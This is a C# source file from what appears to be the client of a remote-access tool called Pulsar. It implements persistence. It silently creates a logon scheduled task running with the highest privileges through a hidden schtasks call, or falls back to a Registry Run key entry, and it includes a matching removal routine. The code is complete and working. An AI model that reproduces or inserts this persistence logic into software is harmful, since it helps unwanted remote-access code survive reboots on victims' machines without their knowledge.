Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

81 lines
2.7 KiB
C#

using Microsoft.Win32;
using Pulsar.Client.Helper;
using Pulsar.Common.Enums;
using System.Diagnostics;
using System.Windows.Forms;
namespace Pulsar.Client.Setup
{
public class ClientStartup : ClientSetupBase
{
public void AddToStartup(string executablePath, string startupName)
{
if (SystemInformation.PowerStatus.BatteryChargeStatus == BatteryChargeStatus.NoSystemBattery)
{
if (UserAccount.Type == AccountType.Admin)
{
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
{
Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath +
"\" /rl HIGHEST /f",
UseShellExecute = false,
CreateNoWindow = true
};
Process p = Process.Start(startInfo);
p.WaitForExit(1000);
if (p.ExitCode == 0) return;
}
RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
true);
}
else
{
RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
true);
}
}
public void RemoveFromStartup(string startupName)
{
if (SystemInformation.PowerStatus.BatteryChargeStatus == BatteryChargeStatus.NoSystemBattery)
{
if (UserAccount.Type == AccountType.Admin)
{
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
{
Arguments = "/delete /tn \"" + startupName + "\" /f",
UseShellExecute = false,
CreateNoWindow = true
};
Process p = Process.Start(startInfo);
p.WaitForExit(1000);
if (p.ExitCode == 0) return;
}
RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
}
else
{
RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
}
}
}
}